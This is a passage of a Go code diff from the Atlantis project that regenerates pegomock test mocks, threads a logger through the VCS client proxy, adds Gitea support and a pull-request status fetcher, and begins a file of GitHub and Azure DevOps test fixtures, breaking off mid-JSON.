-110,14 +114,14 @@ func (mock *MockGithubCredentials) VerifyWasCalledEventually(invocationCountMatc type VerifierMockGithubCredentials struct { mock *MockGithubCredentials - invocationCountMatcher pegomock.Matcher + invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockGithubCredentials) Client() *MockGithubCredentials_Client_OngoingVerification { - params := []pegomock.Param{} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Client", params, verifier.timeout) + _params := []pegomock.Param{} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Client", _params, verifier.timeout) return &MockGithubCredentials_Client_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -133,8 +137,8 @@ func (c *MockGithubCredentials_Client_OngoingVerification) GetAllCapturedArgumen } func (verifier *VerifierMockGithubCredentials) GetToken() *MockGithubCredentials_GetToken_OngoingVerification { - params := []pegomock.Param{} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetToken", params, verifier.timeout) + _params := []pegomock.Param{} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetToken", _params, verifier.timeout) return &MockGithubCredentials_GetToken_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -150,8 +154,8 @@ func (c *MockGithubCredentials_GetToken_OngoingVerification) GetAllCapturedArgum } func (verifier *VerifierMockGithubCredentials) GetUser() *MockGithubCredentials_GetUser_OngoingVerification { - params := []pegomock.Param{} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetUser", params, verifier.timeout) + _params := []pegomock.Param{} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetUser", _params, verifier.timeout) return &MockGithubCredentials_GetUser_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } diff --git a/server/events/vcs/mocks/mock_github_pull_request_getter.go b/server/events/vcs/mocks/mock_github_pull_request_getter.go new file mode 100644 index 0000000000..e1e46ea71b --- /dev/null +++ b/server/events/vcs/mocks/mock_github_pull_request_getter.go @@ -0,0 +1,125 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/events/vcs (interfaces: GithubPullRequestGetter) + +package mocks + +import ( + github "github.com/google/go-github/v71/github" + pegomock "github.com/petergtz/pegomock/v4" + models "github.com/runatlantis/atlantis/server/events/models" + logging "github.com/runatlantis/atlantis/server/logging" + "reflect" + "time" +) + +type MockGithubPullRequestGetter struct { + fail func(message string, callerSkip ...int) +} + +func NewMockGithubPullRequestGetter(options ...pegomock.Option) *MockGithubPullRequestGetter { + mock := &MockGithubPullRequestGetter{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockGithubPullRequestGetter) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockGithubPullRequestGetter) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockGithubPullRequestGetter) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) (*github.PullRequest, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockGithubPullRequestGetter().") + } + _params := []pegomock.Param{logger, repo, pullNum} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GetPullRequest", _params, []reflect.Type{reflect.TypeOf((**github.PullRequest)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 *github.PullRequest + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(*github.PullRequest) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockGithubPullRequestGetter) VerifyWasCalledOnce() *VerifierMockGithubPullRequestGetter { + return &VerifierMockGithubPullRequestGetter{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockGithubPullRequestGetter) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockGithubPullRequestGetter { + return &VerifierMockGithubPullRequestGetter{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockGithubPullRequestGetter) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockGithubPullRequestGetter { + return &VerifierMockGithubPullRequestGetter{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockGithubPullRequestGetter) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockGithubPullRequestGetter { + return &VerifierMockGithubPullRequestGetter{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockGithubPullRequestGetter struct { + mock *MockGithubPullRequestGetter + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockGithubPullRequestGetter) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) *MockGithubPullRequestGetter_GetPullRequest_OngoingVerification { + _params := []pegomock.Param{logger, repo, pullNum} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetPullRequest", _params, verifier.timeout) + return &MockGithubPullRequestGetter_GetPullRequest_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockGithubPullRequestGetter_GetPullRequest_OngoingVerification struct { + mock *MockGithubPullRequestGetter + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockGithubPullRequestGetter_GetPullRequest_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, int) { + logger, repo, pullNum := c.GetAllCapturedArguments() + return logger[len(logger)-1], repo[len(repo)-1], pullNum[len(pullNum)-1] +} + +func (c *MockGithubPullRequestGetter_GetPullRequest_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []int) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } + } + if len(_params) > 2 { + _param2 = make([]int, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(int) + } + } + } + return +} diff --git a/server/events/vcs/mocks/mock_pull_req_status_fetcher.go b/server/events/vcs/mocks/mock_pull_req_status_fetcher.go new file mode 100644 index 0000000000..07e3092379 --- /dev/null +++ b/server/events/vcs/mocks/mock_pull_req_status_fetcher.go @@ -0,0 +1,118 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/events/vcs (interfaces: PullReqStatusFetcher) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + models "github.com/runatlantis/atlantis/server/events/models" + logging "github.com/runatlantis/atlantis/server/logging" + "reflect" + "time" +) + +type MockPullReqStatusFetcher struct { + fail func(message string, callerSkip ...int) +} + +func NewMockPullReqStatusFetcher(options ...pegomock.Option) *MockPullReqStatusFetcher { + mock := &MockPullReqStatusFetcher{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockPullReqStatusFetcher) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockPullReqStatusFetcher) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockPullReqStatusFetcher) FetchPullStatus(logger logging.SimpleLogging, pull models.PullRequest) (models.PullReqStatus, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockPullReqStatusFetcher().") + } + _params := []pegomock.Param{logger, pull} + _result := pegomock.GetGenericMockFrom(mock).Invoke("FetchPullStatus", _params, []reflect.Type{reflect.TypeOf((*models.PullReqStatus)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 models.PullReqStatus + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.PullReqStatus) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockPullReqStatusFetcher) VerifyWasCalledOnce() *VerifierMockPullReqStatusFetcher { + return &VerifierMockPullReqStatusFetcher{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockPullReqStatusFetcher) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPullReqStatusFetcher { + return &VerifierMockPullReqStatusFetcher{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockPullReqStatusFetcher) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPullReqStatusFetcher { + return &VerifierMockPullReqStatusFetcher{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockPullReqStatusFetcher) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPullReqStatusFetcher { + return &VerifierMockPullReqStatusFetcher{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockPullReqStatusFetcher struct { + mock *MockPullReqStatusFetcher + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockPullReqStatusFetcher) FetchPullStatus(logger logging.SimpleLogging, pull models.PullRequest) *MockPullReqStatusFetcher_FetchPullStatus_OngoingVerification { + _params := []pegomock.Param{logger, pull} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "FetchPullStatus", _params, verifier.timeout) + return &MockPullReqStatusFetcher_FetchPullStatus_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockPullReqStatusFetcher_FetchPullStatus_OngoingVerification struct { + mock *MockPullReqStatusFetcher + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockPullReqStatusFetcher_FetchPullStatus_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.PullRequest) { + logger, pull := c.GetAllCapturedArguments() + return logger[len(logger)-1], pull[len(pull)-1] +} + +func (c *MockPullReqStatusFetcher_FetchPullStatus_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.PullRequest) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.PullRequest) + } + } + } + return +} diff --git a/server/events/vcs/not_configured_vcs_client.go b/server/events/vcs/not_configured_vcs_client.go index 7ce68a3a03..62d1b5b885 100644 --- a/server/events/vcs/not_configured_vcs_client.go +++ b/server/events/vcs/not_configured_vcs_client.go @@ -17,6 +17,7 @@ import ( "fmt" "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/logging" ) // NotConfiguredVCSClient is used as a placeholder when Atlantis isn't configured @@ -26,38 +27,54 @@ type NotConfiguredVCSClient struct { Host models.VCSHostType } -func (a *NotConfiguredVCSClient) GetModifiedFiles(repo models.Repo, pull models.PullRequest) ([]string, error) { +func (a *NotConfiguredVCSClient) GetModifiedFiles(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest) ([]string, error) { return nil, a.err() } -func (a *NotConfiguredVCSClient) CreateComment(repo models.Repo, pullNum int, comment string, command string) error { +func (a *NotConfiguredVCSClient) CreateComment(_ logging.SimpleLogging, _ models.Repo, _ int, _ string, _ string) error { return a.err() } -func (a *NotConfiguredVCSClient) HidePrevPlanComments(repo models.Repo, pullNum int) error { +func (a *NotConfiguredVCSClient) HidePrevCommandComments(_ logging.SimpleLogging, _ models.Repo, _ int, _ string, _ string) error { return nil } -func (a *NotConfiguredVCSClient) PullIsApproved(repo models.Repo, pull models.PullRequest) (bool, error) { - return false, a.err() +func (a *NotConfiguredVCSClient) ReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) error { // nolint: revive + return nil +} +func (a *NotConfiguredVCSClient) PullIsApproved(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest) (models.ApprovalStatus, error) { + return models.ApprovalStatus{}, a.err() } -func (a *NotConfiguredVCSClient) PullIsMergeable(repo models.Repo, pull models.PullRequest) (bool, error) { +func (a *NotConfiguredVCSClient) DiscardReviews(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest) error { + return nil +} +func (a *NotConfiguredVCSClient) PullIsMergeable(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest, _ string, _ []string) (bool, error) { return false, a.err() } -func (a *NotConfiguredVCSClient) UpdateStatus(repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error { +func (a *NotConfiguredVCSClient) UpdateStatus(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest, _ models.CommitStatus, _ string, _ string, _ string) error { return a.err() } -func (a *NotConfiguredVCSClient) MergePull(pull models.PullRequest) error { +func (a *NotConfiguredVCSClient) MergePull(_ logging.SimpleLogging, _ models.PullRequest, _ models.PullRequestOptions) error { return a.err() } -func (a *NotConfiguredVCSClient) MarkdownPullLink(pull models.PullRequest) (string, error) { +func (a *NotConfiguredVCSClient) MarkdownPullLink(_ models.PullRequest) (string, error) { return "", a.err() } func (a *NotConfiguredVCSClient) err() error { return fmt.Errorf("atlantis was not configured to support repos from %s", a.Host.String()) } +func (a *NotConfiguredVCSClient) GetTeamNamesForUser(_ logging.SimpleLogging, _ models.Repo, _ models.User) ([]string, error) { + return nil, a.err() +} -func (a *NotConfiguredVCSClient) SupportsSingleFileDownload(repo models.Repo) bool { +func (a *NotConfiguredVCSClient) SupportsSingleFileDownload(_ models.Repo) bool { return false } -func (a *NotConfiguredVCSClient) DownloadRepoConfigFile(pull models.PullRequest) (bool, []byte, error) { +func (a *NotConfiguredVCSClient) GetFileContent(_ logging.SimpleLogging, _ models.PullRequest, _ string) (bool, []byte, error) { return true, []byte{}, a.err() } +func (a *NotConfiguredVCSClient) GetCloneURL(_ logging.SimpleLogging, _ models.VCSHostType, _ string) (string, error) { + return "", a.err() +} + +func (a *NotConfiguredVCSClient) GetPullLabels(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest) ([]string, error) { + return nil, a.err() +} diff --git a/server/events/vcs/proxy.go b/server/events/vcs/proxy.go index a583d70cc0..944fc392b6 100644 --- a/server/events/vcs/proxy.go +++ b/server/events/vcs/proxy.go @@ -15,6 +15,7 @@ package vcs import ( "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/logging" ) // ClientProxy proxies calls to the correct VCS client depending on which @@ -25,7 +26,7 @@ type ClientProxy struct { clients map[models.VCSHostType]Client } -func NewClientProxy(githubClient Client, gitlabClient Client, bitbucketCloudClient Client, bitbucketServerClient Client, azuredevopsClient Client) *ClientProxy { +func NewClientProxy(githubClient Client, gitlabClient Client, bitbucketCloudClient Client, bitbucketServerClient Client, azuredevopsClient Client, giteaClient Client) *ClientProxy { if githubClient == nil { githubClient = &NotConfiguredVCSClient{} } @@ -41,6 +42,9 @@ func NewClientProxy(githubClient Client, gitlabClient Client, bitbucketCloudClie if azuredevopsClient == nil { azuredevopsClient = &NotConfiguredVCSClient{} } + if giteaClient == nil { + giteaClient = &NotConfiguredVCSClient{} + } return &ClientProxy{ clients: map[models.VCSHostType]Client{ models.Github: githubClient, @@ -48,46 +52,67 @@ func NewClientProxy(githubClient Client, gitlabClient Client, bitbucketCloudClie models.BitbucketCloud: bitbucketCloudClient, models.BitbucketServer: bitbucketServerClient, models.AzureDevops: azuredevopsClient, + models.Gitea: giteaClient, }, } } -func (d *ClientProxy) GetModifiedFiles(repo models.Repo, pull models.PullRequest) ([]string, error) { - return d.clients[repo.VCSHost.Type].GetModifiedFiles(repo, pull) +func (d *ClientProxy) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { + return d.clients[repo.VCSHost.Type].GetModifiedFiles(logger, repo, pull) +} + +func (d *ClientProxy) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) error { + return d.clients[repo.VCSHost.Type].CreateComment(logger, repo, pullNum, comment, command) } -func (d *ClientProxy) CreateComment(repo models.Repo, pullNum int, comment string, command string) error { - return d.clients[repo.VCSHost.Type].CreateComment(repo, pullNum, comment, command) +func (d *ClientProxy) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) error { + return d.clients[repo.VCSHost.Type].HidePrevCommandComments(logger, repo, pullNum, command, dir) } -func (d *ClientProxy) HidePrevPlanComments(repo models.Repo, pullNum int) error { - return d.clients[repo.VCSHost.Type].HidePrevPlanComments(repo, pullNum) +func (d *ClientProxy) ReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) error { + return d.clients[repo.VCSHost.Type].ReactToComment(logger, repo, pullNum, commentID, reaction) } -func (d *ClientProxy) PullIsApproved(repo models.Repo, pull models.PullRequest) (bool, error) { - return d.clients[repo.VCSHost.Type].PullIsApproved(repo, pull) +func (d *ClientProxy) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (models.ApprovalStatus, error) { + return d.clients[repo.VCSHost.Type].PullIsApproved(logger, repo, pull) } -func (d *ClientProxy) PullIsMergeable(repo models.Repo, pull models.PullRequest) (bool, error) { - return d.clients[repo.VCSHost.Type].PullIsMergeable(repo, pull) +func (d *ClientProxy) DiscardReviews(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error { + return d.clients[repo.VCSHost.Type].DiscardReviews(logger, repo, pull) } -func (d *ClientProxy) UpdateStatus(repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error { - return d.clients[repo.VCSHost.Type].UpdateStatus(repo, pull, state, src, description, url) +func (d *ClientProxy) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, vcsstatusname string, ignoreVCSStatusNames []string) (bool, error) { + return d.clients[repo.VCSHost.Type].PullIsMergeable(logger, repo, pull, vcsstatusname, ignoreVCSStatusNames) } -func (d *ClientProxy) MergePull(pull models.PullRequest) error { - return d.clients[pull.BaseRepo.VCSHost.Type].MergePull(pull) +func (d *ClientProxy) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error { + return d.clients[repo.VCSHost.Type].UpdateStatus(logger, repo, pull, state, src, description, url) +} + +func (d *ClientProxy) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error { + return d.clients[pull.BaseRepo.VCSHost.Type].MergePull(logger, pull, pullOptions) } func (d *ClientProxy) MarkdownPullLink(pull models.PullRequest) (string, error) { return d.clients[pull.BaseRepo.VCSHost.Type].MarkdownPullLink(pull) } -func (d *ClientProxy) DownloadRepoConfigFile(pull models.PullRequest) (bool, []byte, error) { - return d.clients[pull.BaseRepo.VCSHost.Type].DownloadRepoConfigFile(pull) +func (d *ClientProxy) GetTeamNamesForUser(logger logging.SimpleLogging, repo models.Repo, user models.User) ([]string, error) { + return d.clients[repo.VCSHost.Type].GetTeamNamesForUser(logger, repo, user) +} + +func (d *ClientProxy) GetFileContent(logger logging.SimpleLogging, pull models.PullRequest, fileName string) (bool, []byte, error) { + return d.clients[pull.BaseRepo.VCSHost.Type].GetFileContent(logger, pull, fileName) } func (d *ClientProxy) SupportsSingleFileDownload(repo models.Repo) bool { return d.clients[repo.VCSHost.Type].SupportsSingleFileDownload(repo) } + +func (d *ClientProxy) GetCloneURL(logger logging.SimpleLogging, VCSHostType models.VCSHostType, repo string) (string, error) { + return d.clients[VCSHostType].GetCloneURL(logger, VCSHostType, repo) +} + +func (d *ClientProxy) GetPullLabels(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { + return d.clients[repo.VCSHost.Type].GetPullLabels(logger, repo, pull) +} diff --git a/server/events/vcs/pull_status_fetcher.go b/server/events/vcs/pull_status_fetcher.go new file mode 100644 index 0000000000..b96d69011a --- /dev/null +++ b/server/events/vcs/pull_status_fetcher.go @@ -0,0 +1,44 @@ +package vcs + +import ( + "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/logging" +) + +//go:generate pegomock generate github.com/runatlantis/atlantis/server/events/vcs --package mocks -o mocks/mock_pull_req_status_fetcher.go PullReqStatusFetcher + +type PullReqStatusFetcher interface { + FetchPullStatus(logger logging.SimpleLogging, pull models.PullRequest) (models.PullReqStatus, error) +} + +type pullReqStatusFetcher struct { + client Client + vcsStatusName string + ignoreVCSStatusNames []string +} + +func NewPullReqStatusFetcher(client Client, vcsStatusName string, ignoreVCSStatusNames []string) PullReqStatusFetcher { + return &pullReqStatusFetcher{ + client: client, + vcsStatusName: vcsStatusName, + ignoreVCSStatusNames: ignoreVCSStatusNames, + } +} + +func (f *pullReqStatusFetcher) FetchPullStatus(logger logging.SimpleLogging, pull models.PullRequest) (pullStatus models.PullReqStatus, err error) { + approvalStatus, err := f.client.PullIsApproved(logger, pull.BaseRepo, pull) + if err != nil { + return pullStatus, errors.Wrapf(err, "fetching pull approval status for repo: %s, and pull number: %d", pull.BaseRepo.FullName, pull.Num) + } + + mergeable, err := f.client.PullIsMergeable(logger, pull.BaseRepo, pull, f.vcsStatusName, f.ignoreVCSStatusNames) + if err != nil { + return pullStatus, errors.Wrapf(err, "fetching mergeability status for repo: %s, and pull number: %d", pull.BaseRepo.FullName, pull.Num) + } + + return models.PullReqStatus{ + ApprovalStatus: approvalStatus, + Mergeable: mergeable, + }, err +} diff --git a/server/events/vcs/fixtures/azuredevops-policyevaluations.json b/server/events/vcs/testdata/azuredevops-policyevaluations.json similarity index 100% rename from server/events/vcs/fixtures/azuredevops-policyevaluations.json rename to server/events/vcs/testdata/azuredevops-policyevaluations.json diff --git a/server/events/vcs/fixtures/azuredevops-pr.json b/server/events/vcs/testdata/azuredevops-pr.json similarity index 100% rename from server/events/vcs/fixtures/azuredevops-pr.json rename to server/events/vcs/testdata/azuredevops-pr.json diff --git a/server/events/vcs/testdata/fixtures.go b/server/events/vcs/testdata/fixtures.go new file mode 100644 index 0000000000..64d731279d --- /dev/null +++ b/server/events/vcs/testdata/fixtures.go @@ -0,0 +1,871 @@ +// Copyright 2017 HootSuite Media Inc. +// +// Licensed under the Apache License, Version 2.0 (the License); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// http://www.apache.org/licenses/LICENSE-2.0 +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an AS IS BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// Modified hereafter by contributors to runatlantis/atlantis. + +package testdata + +import ( + "fmt" + "net/http" + "net/http/httptest" + "net/url" + "strings" + "testing" + + "github.com/drmaxgit/go-azuredevops/azuredevops" + "github.com/golang-jwt/jwt/v5" + "github.com/google/go-github/v71/github" +) + +var PullEvent = github.PullRequestEvent{ + Sender: &github.User{ + Login: github.Ptr("user"), + }, + Repo: &Repo, + PullRequest: &Pull, + Action: github.Ptr("opened"), +} + +var Pull = github.PullRequest{ + Head: &github.PullRequestBranch{ + SHA: github.Ptr("sha256"), + Ref: github.Ptr("ref"), + Repo: &Repo, + }, + Base: &github.PullRequestBranch{ + SHA: github.Ptr("sha256"), + Repo: &Repo, + Ref: github.Ptr("basebranch"), + }, + HTMLURL: github.Ptr("html-url"), + User: &github.User{ + Login: github.Ptr("user"), + }, + Number: github.Ptr(1), + State: github.Ptr("open"), +} + +var Repo = github.Repository{ + FullName: github.Ptr("owner/repo"), + Owner: &github.User{Login: github.Ptr("owner")}, + Name: github.Ptr("repo"), + CloneURL: github.Ptr("https://github.com/owner/repo.git"), +} + +var ADPullEvent = azuredevops.Event{ + EventType: "git.pullrequest.created", + Resource: &ADPull, +} + +var ADPullUpdatedEvent = azuredevops.Event{ + EventType: "git.pullrequest.updated", + Resource: &ADPull, +} + +var ADPullClosedEvent = azuredevops.Event{ + EventType: "git.pullrequest.merged", + Resource: &ADPullCompleted, +} + +var ADPull = azuredevops.GitPullRequest{ + CreatedBy: &azuredevops.IdentityRef{ + ID: azuredevops.String("d6245f20-2af8-44f4-9451-8107cb2767db"), + DisplayName: azuredevops.String("User"), + UniqueName: azuredevops.String("user@example.com"), + }, + LastMergeSourceCommit: &azuredevops.GitCommitRef{ + CommitID: azuredevops.String("b60280bc6e62e2f880f1b63c1e24987664d3bda3"), + URL: azuredevops.String("https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3"), + }, + PullRequestID: azuredevops.Int(1), + Repository: &ADRepo, + SourceRefName: azuredevops.String("refs/heads/feature/sourceBranch"), + Status: azuredevops.String("active"), + TargetRefName: azuredevops.String("refs/heads/targetBranch"), + URL: azuredevops.String("https://dev.azure.com/fabrikam/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/21"), +} + +var ADPullCompleted = azuredevops.GitPullRequest{ + CreatedBy: &azuredevops.IdentityRef{ + ID: azuredevops.String("d6245f20-2af8-44f4-9451-8107cb2767db"), + DisplayName: azuredevops.String("User"), + UniqueName: azuredevops.String("user@example.com"), + }, + LastMergeSourceCommit: &azuredevops.GitCommitRef{ + CommitID: azuredevops.String("b60280bc6e62e2f880f1b63c1e24987664d3bda3"), + URL: azuredevops.String("https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3"), + }, + PullRequestID: azuredevops.Int(1), + Repository: &ADRepo, + SourceRefName: azuredevops.String("refs/heads/owner/sourceBranch"), + Status: azuredevops.String("completed"), + TargetRefName: azuredevops.String("refs/heads/targetBranch"), + URL: azuredevops.String("https://dev.azure.com/fabrikam/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/21"), +} + +var ADRepo = azuredevops.GitRepository{ + DefaultBranch: azuredevops.String("refs/heads/main"), + Name: azuredevops.String("repo"), + ParentRepository: &azuredevops.GitRepositoryRef{ + Name: azuredevops.String("owner"), + }, + Project: &azuredevops.TeamProjectReference{ + ID: azuredevops.String("a21f5f20-4a12-aaf4-ab12-9a0927cbbb90"), + Name: azuredevops.String("project"), + State: azuredevops.String("unchanged"), + }, + WebURL: azuredevops.String("https://dev.azure.com/owner/project/_git/repo"), +} + +var ADPullJSON = `{ + "repository": { + "id": "3411ebc1-d5aa-464f-9615-0b527bc66719", + "name": "repo", + "url": "https://dev.azure.com/owner/project/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719", + "webUrl": "https://dev.azure.com/owner/project/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719", + "project": { + "id": "a7573007-bbb3-4341-b726-0c4148a07853", + "name": "project", + "description": "test project created on Halloween 2016", + "url": "https://dev.azure.com/owner/_apis/projects/a7573007-bbb3-4341-b726-0c4148a07853", + "state": "wellFormed", + "revision": 7 + }, + "remoteUrl": "https://dev.azure.com/owner/project/_git/repo" + }, + "pullRequestId": 22, + "codeReviewId": 22, + "status": "active", + "createdBy": { + "id": "d6245f20-2af8-44f4-9451-8107cb2767db", + "displayName": "Normal Paulk", + "uniqueName": "fabrikamfiber16@hotmail.com", + "url": "https://dev.azure.com/owner/_apis/Identities/d6245f20-2af8-44f4-9451-8107cb2767db", + "imageUrl": "https://dev.azure.com/owner/_api/_common/identityImage?id=d6245f20-2af8-44f4-9451-8107cb2767db" + }, + "creationDate": "2016-11-01T16:30:31.6655471Z", + "title": "A new feature", + "description": "Adding a new feature", + "sourceRefName": "refs/heads/npaulk/my_work", + "targetRefName": "refs/heads/new_feature", + "mergeStatus": "succeeded", + "mergeId": "f5fc8381-3fb2-49fe-8a0d-27dcc2d6ef82", + "lastMergeSourceCommit": { + "commitId": "b60280bc6e62e2f880f1b63c1e24987664d3bda3", + "url": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3" + }, + "lastMergeTargetCommit": { + "commitId": "f47bbc106853afe3c1b07a81754bce5f4b8dbf62", + "url": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/f47bbc106853afe3c1b07a81754bce5f4b8dbf62" + }, + "lastMergeCommit": { + "commitId": "39f52d24533cc712fc845ed9fd1b6c06b3942588", + "author": { + "name": "Normal Paulk", + "email": "fabrikamfiber16@hotmail.com", + "date": "2016-11-01T16:30:32Z" + }, + "committer": { + "name": "Normal Paulk", + "email": "fabrikamfiber16@hotmail.com", + "date": "2016-11-01T16:30:32Z" + }, + "comment": "Merge pull request 22 from npaulk/my_work into new_feature", + "url": 